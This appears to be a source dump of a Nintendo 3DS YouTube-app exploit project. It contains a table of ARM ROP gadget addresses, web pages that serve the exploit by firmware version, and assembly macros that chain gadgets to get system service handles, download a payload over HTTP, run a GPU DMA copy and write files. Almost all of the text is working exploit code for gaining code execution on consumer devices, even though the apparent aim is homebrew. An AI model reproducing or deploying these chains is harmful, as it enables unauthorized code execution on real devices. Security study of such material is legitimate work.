gadgets 7 | ("YTB_ROP_NOP", 0x0012d444, 0x1), # pop {pc} 8 | ("YTB_ROP_POP_R0PC", 0x0013b358, 0x1), # pop {r0, pc} 9 | ("YTB_ROP_POP_R1PC", 0x0034c2f8, 0x1), # pop {r1, pc} 10 | ("YTB_ROP_POP_R4LR_BX_R1", 0x0034e3d8, 0x2), # pop {r4, lr} | bx r1 11 | ("YTB_ROP_POP_R4R5PC", 0x00433754, 0x1), # pop {r4, r5, pc} 12 | ("YTB_ROP_POP_R3PC", 0x0022a420, 0x1), # pop {r3, pc} 13 | ("YTB_ROP_POP_R4PC", 0x0012bca4, 0x1), # pop {r4, pc} 14 | ("YTB_ROP_POP_R2R3R4R5R6PC", 0x00348e88, 0x1), # pop {r2, r3, r4, r5, r6, pc} 15 | ("YTB_ROP_POP_R4R5R6R7R8R9R10R11PC", 0x00131198, 0x1), # pop {r4, r5, r6, r7, r8, r9, sl, fp, pc} 16 | ("YTB_ROP_POP_R4R5R6R7R8R9R10R11R12PC", 0x001331b0, 0x1), # pop {r4, r5, r6, r7, r8, r9, sl, fp, ip, pc} 17 | ("YTB_ROP_BLX_R4_ADD_SPx10_POP_R4PC", 0x001673a4, 0x3), # blx r4 ; add sp, sp, #16 ; pop {r4, pc} 18 | 19 | ("YTB_ROP_STR_R0R1_POP_R4PC", 0x0012bca0, 0x2), # str r0, [r1] ; pop {r4, pc} 20 | ("YTB_ROP_STR_R0R4_POP_R4PC", 0x001306ac, 0x2), # str r0, [r4] ; pop {r4, pc} 21 | ("YTB_ROP_STM_R4R0R1_POP_R4_PC", 0x001fb254, 0x2), # stm r4, {r0, r1} ; pop {r4, pc} 22 | ("YTB_ROP_STM_R0R1R2_POP_R4_PC", 0x003599a0, 0x2), # stm r4, {r1, r2} ; pop {r4, pc} 23 | ("YTB_ROP_LDR_R1R1_BLX_R3", 0x0016e644, 0x2), # ldr r1, [r1] ; blx r3 24 | 25 | 26 | ("YTB_ROP_ANDR0R0R1_POP_R4PC", 0x002bd128, 0x2), # and r0, r0, 0x00334ec8; pop {r4, pc} 27 | ("YTB_ROP_CMP_R0R1_MVNLS_R0x0_MOVHI_R0x1_POP_R4PC", 0x00334ec8, 0x4), 28 | ("YTB_ROP_BLXNE_R3_MOV_R0x0_POP_R4PC", 0x00335120, 0x3), 29 | 30 | ("YTB_ROP_MOV_R1R0_MOV_R0R1_POP_PC", 0x0029b314, 0x3), 31 | ("YTB_ROP_MOV_R2R0_MOV_R0R2_POP_R4R5R6PC", 0x0015b9e8, 0x3), 32 | 33 | ("YTB_ROP_LDR_R2R1_ADD_R1SPx4_BLX_R3", 0x0017786c, 0x3), # ldr r2, [r1] ; add r1, sp, #4 ; blx r3 34 | 35 | ("YTB_ROP_LDR_R0R0_POP_R4PC", 0x00168910, 0x2), # ldr r0, [r0] ; pop {r4, pc} 36 | 37 | ("YTB_ROP_MRC_R0C13C03_ADD_R0R0x5C_BX_LR", 0x001390f4, 0x3), # mrc 15, 0, r0, cr13, cr0, {3} ; add r0, r0, #0x5c ; bx lr 38 | 39 | ("YTB_ROP_ADD_R0R0R4_POP_R4PC", 0x003107dc, 0x2), # add r0, r0, r4 ; pop {r4, pc} 40 | 41 | ("YTB_HTTPC_STRUCT", 0x0020D6D4, 0x10, 0x46), # + 0x4 : bool enabled (SBS), + 0x2C : http:C handle 42 | ("YTB_APT_HANDLE", 0x0012E1E0, (0x8, 0x1, 0x5), 0xe), 43 | ("YTB_GSPGPU_INTERRUPT_RECEIVER_STRUCT", 0x0020E4F8, (0x4, 0x12, 0x1, 0x1, 0x2), 0x20), 44 | ("YTB_GSPGPU_HANDLE", 0x0020E4F8, (0x4, 0x12, 0x1, 0x1, 0x2), 0x1f), 45 | ("YTB_DSP_HANDLE", 0x0012D938, (0x3, 0x1, 0x4, 0x1, 0x3, 0x2, 0xa), 0x26), 46 | 47 | ("YTB_SVC_SLEEPTHREAD", 0x00342ebc, 0x2), # svc 0xa 48 | ("YTB_SVC_SETTHREADPRIORITY", 0x0034af34, 0x2), # svc 0xc 49 | ("YTB_SVC_SENDSYNCREQUEST", 0x00344cc4, 0x2), # svc 0x32 50 | ("YTB_MEMCPY", 0x0034b098, 0x10), 51 | ("YTB_HTTPC_INITIALIZE", 0x00216230, 0xA), # r0 : handle ptr, r1 : 0x0 ?, r2 : 0x1000, r3 : 0x0 ? 52 | ("YTB_HTTPC_RECEIVEDATA", 0x0020e108, 0xA), # r0 : handle ptr, r1 : httpc context handle, r2 : buffer address, r3 : buffer size 53 | ("YTB_HTTPC_CREATECONTEXTWRAPPER", 0x0020d6d4, 0x7), # r0 : context struct (0x4 : SBZ context handle slot, 0x8 : SBZ context http:C handle slot, 0xC : same as 0x8), r1 : url ptr, r2 ":( ",est method,), r3 : bool use_proxy# HTTPC_STRUCT + 0x4 SBS, HTTPC_STRUCT + 0x2c = http:C handle 54 | ("YTB_APT_ISREGISTERED", 0x003439B8, (0x8, 0x1, 0x7)), # r0 : appId, r1 : out_ptr 55 | ("YTB_SRV_GETSERVICEHANDLEWRAPPER", 0x00344cfc, (0x1, 0x1, 0x6, 0x1, 0x1)), # r0 : out ptr, r1 : service name ptr, r2 : service name length, r3 : 0 56 | ("YTB_GSPGPU_FLUSHDATACACHE", 0x0020f14c, (0x9, 0x1, 0x5)), 57 | ("YTB_GSPGPU_GXTRYENQUEUE", 0x002FBA28, 0x10), 58 | ("YTB_GSPGPU_GXCMD4", 0x0020E91C, 0xC), 59 | ("YTB_GSPGPU_FLUSHDATACACHE_WRAPPER", 0x0020E820, (0x5, 0x1, 0x4)), 60 | ("YTB_DSP_UNLOADCOMPONENT", 0x001369A4, 0x5), 61 | ("YTB_DSP_REGISTERINTERRUPTEVENTS", 0x00136A38, (0x9, 0x1, 0x5)), 62 | ("YTB_OPENFILE", 0x003466D8, (0x6, 0x1, 0x8)), 63 | ("YTB_SETFILESIZE", 0x003070AC, (0x6, 0x1, 0xb)), 64 | ("YTB_WRITEFILE", 0x003070F4, (0x14)), 65 | ("YTB_MOUNTSAVEARCHIVE", 0x00205EB0, (0x9, 0x1, 0x7)), 66 | ("YTB_CONTROLARCHIVE", 0x002FF2C0, (0x2, 0x1, 0xf)), 67 | ("YTB_MEMCLR", 0x0034B1DC, (0x4)), 68 | ("YTB_STRLEN", 0x0034CE00, (0x10)), 69 | ] 70 | -------------------------------------------------------------------------------- /ytb_page/version.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Firmware version selector 6 | 7 | 8 | 9 |
10 |

11 | Select your firmware version 12 |

13 |
14 | 15 | 89 | 90 |
91 |
92 | 93 | 94 |
95 |
96 | Note : select "NEW" only if you own a 'New 3DS' or 'New 3DS XL'; select "OLD" if you own a '3DS', '3DS XL' or '2DS'. 97 |
98 |
99 | 100 | 103 | 104 | 105 | 106 | -------------------------------------------------------------------------------- /ytb_page/hax.php: -------------------------------------------------------------------------------- 1 | 14 | 15 | 16 | 17 | 29 | 30 | 31 |
32 | 33 | 34 |
35 | 36 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | -------------------------------------------------------------------------------- /ytb_include/ytb_include.s: -------------------------------------------------------------------------------- 1 | PAYLOAD_PRIM_LOC equ 0x1f05DC00 2 | PAYLOAD_SEC_LOC equ 0x15000000 3 | PAYLOAD_THIRD_LOC equ 0x15100000 4 | 5 | .include "../build/constants.s" 6 | 7 | YTB_HTTPC_HANDLE equ (YTB_HTTPC_STRUCT + 0x2C) 8 | YTB_PAD equ 0x1000001C 9 | YTB_COOKIEWIPE_KEY equ 0x00000008 ; START 10 | 11 | .macro set_lr,_lr 12 | .word YTB_ROP_POP_R1PC ; pop {r1, pc} 13 | .word YTB_ROP_NOP ; pop {pc} 14 | .word YTB_ROP_POP_R4LR_BX_R1 ; pop {r4, lr} ; bx r1 15 | .word 0xFFFFFFFF ; r4 (garbage) 16 | .word _lr ; lr 17 | .endmacro 18 | 19 | .macro sleep,nanosec_low,nanosec_high 20 | set_lr YTB_ROP_NOP 21 | .word YTB_ROP_POP_R0PC ; pop {r0, pc} 22 | .word nanosec_low ; r0 23 | .word YTB_ROP_POP_R1PC ; pop {r1, pc} 24 | .word nanosec_high ; r1 25 | .word YTB_SVC_SLEEPTHREAD 26 | .endmacro 27 | 28 | .macro set_thread_priority,priority 29 | set_lr YTB_ROP_NOP 30 | .word YTB_ROP_POP_R0PC ; pop {r0, pc} 31 | .word 0xFFFF8000 ; r0 32 | .word YTB_ROP_POP_R1PC ; pop {r1, pc} 33 | .word priority ; r1 34 | .word YTB_SVC_SETTHREADPRIORITY 35 | .endmacro 36 | 37 | .macro memcpy,dst,src,size 38 | set_lr YTB_ROP_NOP 39 | .word YTB_ROP_POP_R0PC ; pop {r0, pc} 40 | .word dst ; r0 41 | .word YTB_ROP_POP_R1PC ; pop {r1, pc} 42 | .word src ; r1 43 | .word YTB_ROP_POP_R2R3R4R5R6PC ; pop {r2, r3, r4, r5, r6, pc} 44 | .word size ; r2 45 | .word 0xFFFFFFFF ; r3 (garbage) 46 | .word 0xFFFFFFFF ; r4 (garbage) 47 | .word 0xFFFFFFFF ; r5 (garbage) 48 | .word 0xFFFFFFFF ; r6 (garbage) 49 | .word YTB_MEMCPY 50 | .endmacro 51 | 52 | .macro getServiceHandle,dst,name_0,name_1,name_length 53 | set_lr YTB_ROP_POP_R4R5PC 54 | .word YTB_ROP_POP_R0PC ; pop {r0, pc} 55 | .word dst ; r0 56 | .word YTB_ROP_POP_R1PC ; pop {r1, pc} 57 | .word PAYLOAD_LOC + @@service_name ; r1 58 | .word YTB_ROP_POP_R2R3R4R5R6PC ; pop {r2, r3, r4, r5, r6, pc} 59 | .word name_length ; r2 (addr) 60 | .word 0xFFFFFFFF ; r3 (garbage) 61 | .word 0xFFFFFFFF ; r4 (garbage) 62 | .word 0xFFFFFFFF ; r5 (garbage) 63 | .word 0xFFFFFFFF ; r6 (garbage) 64 | .word YTB_SRV_GETSERVICEHANDLEWRAPPER 65 | @@service_name: 66 | .word name_0, name_1 67 | .endmacro 68 | 69 | .macro httpcCreateContextWrapper, context_struct, url, method, use_proxy 70 | set_lr YTB_ROP_NOP 71 | .word YTB_ROP_POP_R0PC ; pop {r0, pc} 72 | .word context_struct ; r0 73 | .word YTB_ROP_POP_R1PC ; pop {r1, pc} 74 | .word url ; r1 75 | .word YTB_ROP_POP_R2R3R4R5R6PC ; pop {r2, r3, r4, r5, r6, pc} 76 | .word method ; r2 (addr) 77 | .word use_proxy ; r3 78 | .word 0xFFFFFFFF ; r4 (garbage) 79 | .word 0xFFFFFFFF ; r5 (garbage) 80 | .word 0xFFFFFFFF ; r6 (garbage) 81 | .word YTB_HTTPC_CREATECONTEXTWRAPPER 82 | .endmacro 83 | 84 | .macro httpcInitialize 85 | set_lr YTB_ROP_NOP 86 | .word YTB_ROP_POP_R0PC ; pop {r0, pc} 87 | .word YTB_HTTPC_HANDLE ; r0 88 | .word YTB_ROP_POP_R1PC ; pop {r1, pc} 89 | .word 0x00000000 ; r1 90 | .word YTB_ROP_POP_R2R3R4R5R6PC ; pop {r2, r3, r4, r5, r6, pc} 91 | .word 0x00001000 ; r2 92 | .word 0x00000000 ; r3 93 | .word 0xFFFFFFFF ; r4 (garbage) 94 | .word 0xFFFFFFFF ; r5 (garbage) 95 | .word 0xFFFFFFFF ; r6 (garbage) 96 | .word YTB_HTTPC_INITIALIZE 97 | .endmacro 98 | 99 | .macro httpcBeginRequest, handle_ptr, context_ptr 100 | set_lr YTB_ROP_NOP 101 | .word YTB_ROP_POP_R0PC 102 | .word handle_ptr ; r0 (handle ptr) 103 | .word YTB_ROP_LDR_R0R0_POP_R4PC 104 | .word YTB_APT_HANDLE ; r4 (context handle) 105 | .word YTB_ROP_STR_R0R4_POP_R4PC 106 | .word 0xFFFFFFFF ; r4 (garbage) 107 | 108 | .word YTB_ROP_POP_R0PC 109 | .word context_ptr ; r0 (context handle ptr) 110 | .word YTB_ROP_LDR_R0R0_POP_R4PC 111 | .word 0xFFFFFFFF ; r4 (garbage) 112 | .word YTB_ROP_POP_R1PC 113 | .word PAYLOAD_LOC - 0x100 ; dummy ptr 114 | .word YTB_APT_ISREGISTERED ; same cmd header as httpcBeginRequest 115 | .endmacro 116 | 117 | .macro httpcReceiveData, handle, context_ptr, buffer_addr, buffer_size 118 | .word YTB_ROP_POP_R0PC ; pop {r0, pc} 119 | .word handle ; r0 120 | .word YTB_ROP_POP_R1PC ; pop {r1, pc} 121 | .word context_ptr ; r1 122 | .word YTB_ROP_POP_R3PC 123 | .word YTB_ROP_NOP 124 | .word YTB_ROP_LDR_R1R1_BLX_R3 125 | .word YTB_ROP_POP_R2R3R4R5R6PC ; pop {r2, r3, r4, r5, r6, pc} 126 | .word buffer_addr ; r2 (addr) 127 | .word buffer_size ; r3 128 | .word YTB_HTTPC_RECEIVEDATA ; r4 (garbage) 129 | .word 0xFFFFFFFF ; r5 (garbage) 130 | .word 0xFFFFFFFF ; r6 (garbage) 131 | .word YTB_ROP_BLX_R4_ADD_SPx10_POP_R4PC 132 | .word 0xFFFFFFFF ; garbage 133 | .word 0xFFFFFFFF ; garbage 134 | .word 0xFFFFFFFF ; garbage 135 | .word 0xFFFFFFFF ; garbage 136 | .word 0xFFFFFFFF ; r4 (garbage) 137 | .endmacro 138 | 139 | .macro dsp_unloadcomponent 140 | set_lr YTB_ROP_NOP 141 | .word YTB_ROP_POP_R0PC ; pop {r0, pc} 142 | .word YTB_DSP_HANDLE ; r0 (handle ptr) 143 | .word YTB_DSP_UNLOADCOMPONENT 144 | .endmacro 145 | 146 | .macro dsp_registerinterruptevents 147 | set_lr YTB_ROP_NOP 148 | .word YTB_ROP_POP_R0PC ; pop {r0, pc} 149 | .word YTB_DSP_HANDLE ; r0 (handle ptr) 150 | .word YTB_ROP_POP_R1PC ; pop {r1, pc} 151 | .word 0x00000000 ; r1 (handle ptr) 152 | .word YTB_ROP_POP_R2R3R4R5R6PC ; pop {r2, r3, r4, r5, r6, pc} 153 | .word 0x00000002 ; r2 154 | .word 0x00000002 ; r3 155 | .word 0xFFFFFFFF ; r4 (garbage) 156 | .word 0xFFFFFFFF ; r5 (garbage) 157 | .word 0xFFFFFFFF ; r6 (garbage) 158 | .word YTB_DSP_REGISTERINTERRUPTEVENTS 159 | .endmacro 160 | 161 | .macro flush_dcache,addr,size 162 | set_lr YTB_ROP_NOP 163 | .word YTB_ROP_POP_R0PC ; pop {r0, pc} 164 | .word YTB_GSPGPU_HANDLE ; r0 (handle ptr) 165 | .word YTB_ROP_POP_R1PC ; pop {r1, pc} 166 | .word 0xFFFF8001 ; r1 (process handle) 167 | .word YTB_ROP_POP_R2R3R4R5R6PC ; pop {r2, r3, r4, r5, r6, pc} 168 | .word addr ; r2 (addr) 169 | .word size ; r3 (src) 170 | .word 0xDEADBABE ; r4 (garbage) 171 | .word 0xDEADBABE ; r5 (garbage) 172 | .word 0xDEADBABE ; r6 (garbage) 173 | .word YTB_GSPGPU_FLUSHDATACACHE 174 | .endmacro 175 | 176 | .macro gspwn,dst,src,size 177 | set_lr YTB_ROP_POP_R4R5R6R7R8R9R10R11PC 178 | .word YTB_ROP_POP_R0PC ; pop {r0, pc} 179 | .word YTB_GSPGPU_INTERRUPT_RECEIVER_STRUCT + 0x58 ; r0 (nn__gxlow__CTR__detail__GetInterruptReceiver) 180 | .word YTB_ROP_POP_R1PC ; pop {r1, pc} 181 | .word PAYLOAD_LOC + @@gxCommandPayload ; r1 (cmd addr) 182 | .word YTB_GSPGPU_GXTRYENQUEUE 183 | @@gxCommandPayload: 184 | .word 0x00000004 ; command header (SetTextureCopy) 185 | .word src ; source address 186 | .word dst ; destination address (standin, will be filled in) 187 | .word size ; size 188 | .word 0xFFFFFFFF ; dim in 189 | .word 0xFFFFFFFF ; dim out 190 | .word 0x00000008 ; flags 191 | .word 0x00000000 ; unused 192 | .endmacro 193 | 194 | .macro gspgpuSetBufferSwap,screen,framebuf_adr,flags 195 | ; get TLS 196 | set_lr YTB_ROP_ADD_R0R0R4_POP_R4PC 197 | .word YTB_ROP_POP_R4PC 198 | .word 0x80 - 0x5C ; r4 (offset) 199 | .word YTB_ROP_MRC_R0C13C03_ADD_R0R0x5C_BX_LR 200 | .word 0xFFFFFFFF ; r4 (garbage) 201 | 202 | ; memcpy to it 203 | set_lr YTB_ROP_NOP 204 | .word YTB_ROP_POP_R1PC ; pop {r1, pc} 205 | .word PAYLOAD_LOC + @@cmdBuf ; r1 (cmd addr) 206 | .word YTB_ROP_POP_R2R3R4R5R6PC ; pop {r2, r3, r4, r5, r6, pc} 207 | .word @@cmdBuf_end - @@cmdBuf ; r2 208 | .word 0xFFFFFFFF ; r3 (garbage) 209 | .word 0xFFFFFFFF ; r4 (garbage) 210 | .word 0xFFFFFFFF ; r5 (garbage) 211 | .word 0xFFFFFFFF ; r6 (garbage) 212 | .word YTB_MEMCPY 213 | 214 | ; grab handle 215 | .word YTB_ROP_POP_R0PC ; pop {r0, pc} 216 | .word YTB_GSPGPU_HANDLE ; r0 (handle ptr) 217 | .word YTB_ROP_LDR_R0R0_POP_R4PC 218 | .word 0xFFFFFFFF ; r4 (garbage) 219 | 220 | ; do command 221 | set_lr YTB_ROP_POP_R4R5R6R7R8R9R10R11R12PC 222 | .word YTB_SVC_SENDSYNCREQUEST 223 | @@cmdBuf: 224 | .word 0x00050200 ; command header 225 | .word screen 226 | .word 0x00000008 227 | .word framebuf_adr 228 | .word framebuf_adr 229 | .word 240 * 3 230 | .word flags 231 | .word 0x00000000 232 | .word 0x00000000 233 | @@cmdBuf_end: 234 | .endmacro 235 | 236 | .macro fopen,f,name,flags 237 | set_lr YTB_ROP_NOP 238 | .word YTB_ROP_POP_R0PC 239 | .word f 240 | .word YTB_ROP_POP_R1PC 241 | .word name 242 | .word YTB_ROP_POP_R2R3R4R5R6PC 243 | .word flags ; r2 244 | .word 0xFFFFFFFF ; r3 245 | .word 0xFFFFFFFF ; r4 246 | .word 0xFFFFFFFF ; r5 247 | .word 0xFFFFFFFF ; r6 248 | .word YTB_OPENFILE 249 | .endmacro 250 | 251 | .macro fwrite,f,bytes_written,data,size,flush 252 | set_lr YTB_ROP_POP_R1PC 253 | .word YTB_ROP_POP_R0PC 254 | .word f 255 | .word YTB_ROP_POP_R1PC 256 | .word bytes_written ; bytes written 257 | .word YTB_ROP_POP_R2R3R4R5R6PC 258 | .word data ; r2 259 | .word size ; r3 260 | .word 0xFFFFFFFF ; r4 261 | .word 0xFFFFFFFF ; r5 262 | .word 0xFFFFFFFF ; r6 263 | .word YTB_WRITEFILE 264 | .word flush 265 | .endmacro 266 | 267 | .macro fsetsize,f,size,skip_r1 268 | set_lr YTB_ROP_NOP 269 | .word YTB_ROP_POP_R0PC 270 | .word f 271 | .if skip_r1 == 0 272 | .word YTB_ROP_POP_R1PC 273 | .word size 274 | .endif 275 | .word YTB_SETFILESIZE 276 | .endmacro 277 | 278 | .macro control_archive,archive 279 | set_lr YTB_ROP_NOP 280 | .word YTB_ROP_POP_R0PC 281 | .word archive 282 | .word YTB_CONTROLARCHIVE 283 | .endmacro 284 | 285 | .macro conditional_call,adr,mask,val,arg0,arg1,func 286 | .word YTB_ROP_POP_R0PC ; pop {r0, pc} 287 | .word adr ; r0 (PAD) 288 | .word YTB_ROP_LDR_R0R0_POP_R4PC ; ldr r0, [r0] ; pop {r4, pc} 289 | .word 0xFFFFFFFF ; r4 (garbage) 290 | .word YTB_ROP_POP_R1PC 291 | .word mask ; r1 (keycombo) 292 | .word YTB_ROP_ANDR0R0R1_POP_R4PC 293 | .word 0xFFFFFFFF ; r4 (garbage) 294 | .word YTB_ROP_POP_R1PC 295 | .word val ; r1 296 | .word YTB_ROP_CMP_R0R1_MVNLS_R0x0_MOVHI_R0x1_POP_R4PC 297 | .word 0xFFFFFFFF ; r4 (garbage) 298 | .word YTB_ROP_POP_R0PC 299 | .word arg0 ; r0 (dst) 300 | .word YTB_ROP_POP_R1PC 301 | .word arg1 ; r1 (size) 302 | .word YTB_ROP_POP_R2R3R4R5R6PC ; pop {r2, r3, r4, r5, r6, pc} 303 | .word 0xFFFFFFFF ; r2 (garbage) 304 | .word func ; r3 (garbage) 305 | .word 0xFFFFFFFF ; r4 (garbage) 306 | .word 0xFFFFFFFF ; r5 (garbage) 307 | .word 0xFFFFFFFF ; r6 (garbage) 308 | .word YTB_ROP_BLXNE_R3_MOV_R0x0_POP_R4PC 309 | .word 0xFFFFFFFF ; r4 (garbage) 310 | .endmacro 311 | --------------------------------------------------------------------------------